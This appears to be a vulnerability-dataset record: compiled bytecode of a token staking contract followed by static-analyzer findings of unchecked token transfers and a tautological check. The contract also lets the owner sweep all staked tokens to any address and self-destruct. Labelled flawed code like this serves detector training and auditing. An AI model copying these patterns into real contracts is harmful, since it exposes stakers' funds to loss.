600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611e19565b6040518082815260200191505060405180910390f35b610634611e77565b6040518082815260200191505060405180910390f35b61068c6004803603602081101561066057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611e7f565b005b6106ba600480360360208110156106a457600080fd5b81019080803590602001909291905050506121ad565b005b6106c46129f3565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61073c6004803603604081101561070657600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612a19565b60405180821515815260200191505060405180910390f35b6107966004803603602081101561076a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612a84565b005b6107a0612c76565b6040518082815260200191505060405180910390f35b6107be612d57565b73ffffffffffffffffffffffffffffffffffffffff166107dc611cb4565b73ffffffffffffffffffffffffffffffffffffffff1614610865576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156108f057600080fd5b505afa158015610904573d6000803e3d6000fd5b505050506040513d602081101561091a57600080fd5b81019080805190602001909291905050509050808311156109a3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f65786365656420636f6e74726163742062616c616e636500000000000000000081525060200191505060405180910390fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83856040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610a3657600080fd5b505af1158015610a4a573d6000803e3d6000fd5b505050506040513d6020811015610a6057600080fd5b810190808051906020019092919050505050505050565b610a87610a82612d57565b610cc9565b610adc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e8152602001806131f2602e913960400191505060405180910390fd5b600060065414610b41578060065410610b40576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602281526020018061316c6022913960400191505060405180910390fd5b5b8060078190555050565b610b5b610b56612d57565b610cc9565b610bb0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e8152602001806131f2602e913960400191505060405180910390fd5b60008111610c26576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f696e76616c6964206475726174696f6e0000000000000000000000000000000081525060200191505060405180910390fd5b600082118015610c3857506009548211155b610caa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f696e76616c696420706f6f6c206e756d6265720000000000000000000000000081525060200191505060405180910390fd5b8060086000848152602001908152602001600020600001819055505050565b6000610cdf826001612d5f90919063ffffffff16565b9050919050565b610cf6610cf1612d57565b610cc9565b610d4b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e8152602001806131f2602e913960400191505060405180910390fd5b60008111610dc1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f696e76616c69642072657761726400000000000000000000000000000000000081525060200191505060405180910390fd5b600082118015610dd357506009548211155b610e45576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f696e76616c696420706f6f6c206e756d6265720000000000000000000000000081525060200191505060405180910390fd5b8060086000848152602001908152602001600020600101819055505050565b610e74610e6f612d57565b610cc9565b610ec9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e8152602001806131f2602e913960400191505060405180910390fd5b600060075414610f2e576007548110610f2d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602281526020018061316c6022913960400191505060405180910390fd5b5b8060068190555050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610f66612d57565b73ffffffffffffffffffffffffffffffffffffffff16610f84611cb4565b73ffffffffffffffffffffffffffffffffffffffff161461100d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561109857600080fd5b505afa1580156110ac573d6000803e3d6000fd5b505050506040513d60208110156110c257600080fd5b810190808051906020019092919050505090508083111561114b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f65786365656420636f6e74726163742062616c616e636500000000000000000081525060200191505060405180910390fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83856040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156111de57600080fd5b505af11580156111f2573d6000803e3d6000fd5b505050506040513d602081101561120857600080fd5b810190808051906020019092919050505050505050565b61122f61122a612d57565b610cc9565b611284576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e8152602001806131f2602e913960400191505060405180910390fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61133b611336612d57565b610cc9565b611390576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e8152602001806131f2602e913960400191505060405180910390fd5b61139981612e3d565b50565b6113a4612d57565b73ffffffffffffffffffffffffffffffffffffffff166113c2611cb4565b73ffffffffffffffffffffffffffffffffffffffff161461144b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b611511612d57565b73ffffffffffffffffffffffffffffffffffffffff1661152f611cb4565b73ffffffffffffffffffffffffffffffffffffffff16146115b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b4782111561162e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f65786365656420636f6e74726163742062616c616e636500000000000000000081525060200191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015611674573d6000803e3d6000fd5b505050565b60008110156116f0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f7a65726f20616d6f756e7400000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008211801561170257506009548211155b611774576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f696e76616c696420706f6f6c206e756d6265720000000000000000000000000081525060200191505060405180910390fd5b600060065411801561178857506000600754115b6117fa576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f6e6f74207374617274656400000000000000000000000000000000000000000081525060200191505060405180910390fd5b600754421115801561180e57506006544210155b611880576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f6e6f742074696d6520746f207374616b6500000000000000000000000000000081525060200191505060405180910390fd5b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e33306040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019250505060206040518083038186803b15801561192957600080fd5b505afa15801561193d573d6000803e3d6000fd5b505050506040513d602081101561195357600080fd5b81019080805190602001909291905050509050818110156119dc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f616c6c6f77616e6365206572726f72000000000000000000000000000000000081525060200191505060405180910390fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330856040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015611a8d57600080fd5b505af1158015611aa1573d6000803e3d6000fd5b505050506040513d6020811015611ab757600080fd5b8101908080519060200190929190505050611b3a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f7472616e7366657220546f6b656e204572726f7200000000000000000000000081525060200191505060405180910390fd5b611b63826008600086815260200190815260200160002060020154612e9790919063ffffffff16565b6008600085815260200190815260200160002060020181905550611be3826008600086815260200190815260200160002060030160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e9790919063ffffffff16565b6008600085815260200190815260200160002060030160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507fd7946ecf853153234ad26274f4b3030bdbbd145decf3ebd6593a7f8348f66f94338385604051808473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a1505050565b60075481565b611cb2611cad612d57565b612f1f565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60095481565b611cf3611cee612d57565b610cc9565b611d48576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e8152602001806131f2602e913960400191505060405180910390fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60086020528060005260406000206000915090508060000154908060010154908060020154905083565b60006008600084815260200190815260200160002060030160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600042905090565b611e87612d57565b73ffffffffffffffffffffffffffffffffffffffff16611ea5611cb4565b73ffffffffffffffffffffffffffffffffffffffff1614611f2e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015611fb957600080fd5b505afa158015611fcd573d6000803e3d6000fd5b505050506040513d6020811015611fe357600080fd5b81019080805190602001909291905050509050600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561208957600080fd5b505af115801561209d573d6000803e3d6000fd5b505050506040513d60208110156120b357600080fd5b810190808051906020019092919050505050600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561215857600080fd5b505af115801561216c573d6000803e3d6000fd5b505050506040513d602081101561218257600080fd5b8101908080519060200190929190505050508173ffffffffffffffffffffffffffffffffffffffff16ff5b6000811180156121bf57506009548111155b612231576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f696e76616c696420706f6f6c206e756d6265720000000000000000000000000081525060200191505060405180910390fd5b6008600082815260200190815260200160002060000154600754014210156122c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f6e6f742074696d6520746f20756e7374616b652079657400000000000000000081525060200191505060405180910390fd5b60006008600083815260200190815260200160002060030160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541161238a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f6e6f7468696e6720746f20756e7374616b65000000000000000000000000000081525060200191505060405180910390fd5b6008600082815260200190815260200160002060040160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561245e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f616c726561647920636c61696d6564000000000000000000000000000000000081525060200191505060405180910390fd5b60016008600083815260200190815260200160002060040160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb336008600085815260200190815260200160002060030160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156125b057600080fd5b505af11580156125c4573d6000803e3d6000fd5b505050506040513d60208110156125da57600080fd5b810190808051906020019092919050505061265d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f7472616e7366657220546f6b656e204572726f7200000000000000000000000081525060200191505060405180910390fd5b7f70443d18f25cf37ed6c3e9b6d5d8aff3f8f26163ce583b0d336129bf941081b4336008600084815260200190815260200160002060030160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483604051808473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a1600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb336127f060086000868152602001908152602001600020600201546127e260086000888152602001908152602001600020600101546008600089815260200190815260200160002060030160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f7990919063ffffffff16565b612fff90919063ffffffff16565b6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561284357600080fd5b505af1158015612857573d6000803e3d6000fd5b505050506040513d602081101561286d57600080fd5b81019080805190602001909291905050506128f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f7472616e7366657220546f6b656e204572726f7200000000000000000000000081525060200191505060405180910390fd5b7fff7e8c69424704aaebd61128481b878b8932c8b6f3e37f0d1b0280bb4e586411336129b660086000858152602001908152602001600020600201546129a860086000878152602001908152602001600020600101546008600088815260200190815260200160002060030160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f7990919063ffffffff16565b612fff90919063ffffffff16565b83604051808473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a150565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006008600084815260200190815260200160002060040160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b612a8c612d57565b73ffffffffffffffffffffffffffffffffffffffff16612aaa611cb4565b73ffffffffffffffffffffffffffffffffffffffff1614612b33576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612bb9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806131466026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60065481565b612c868282612d5f565b15612cf9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f526f6c65733a206163636f756e7420616c72656164792068617320726f6c650081525060200191505060405180910390fd5b60018260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600033905090565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612de6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806131d06022913960400191505060405180910390fd5b8260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b612e51816001612c7c90919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167f44d6d25963f097ad14f29f06854a01f575648a1ef82f30e562ccd3889717e33960405160405180910390a250565b600080828401905083811015612f15576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b612f3381600161308890919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167fa3b62bc36326052d97ea62d63c3d60308ed4c3ea8ac079dd8499f1e9c4f80c0f60405160405180910390a250565b600080831415612f8c5760009050612ff9565b6000828402905082848281612f9d57fe5b0414612ff4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806131af6021913960400191505060405180910390fd5b809150505b92915050565b6000808211613076576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525060200191505060405180910390fd5b81838161307f57fe5b04905092915050565b6130928282612d5f565b6130e7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061318e6021913960400191505060405180910390fd5b60008260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737373746172742064617465206d757374206c657373207468616e20656e642064617465526f6c65733a206163636f756e7420646f6573206e6f74206861766520726f6c65536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77526f6c65733a206163636f756e7420697320746865207a65726f206164647265737341646d696e526f6c653a2063616c6c657220646f6573206e6f742068617665207468652041646d696e20726f6c65a2646970667358221220b750e5328194226d741de8e3a7bcdd685785c9c08d320f3684029df8d24c441264736f6c63430007060033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
7,199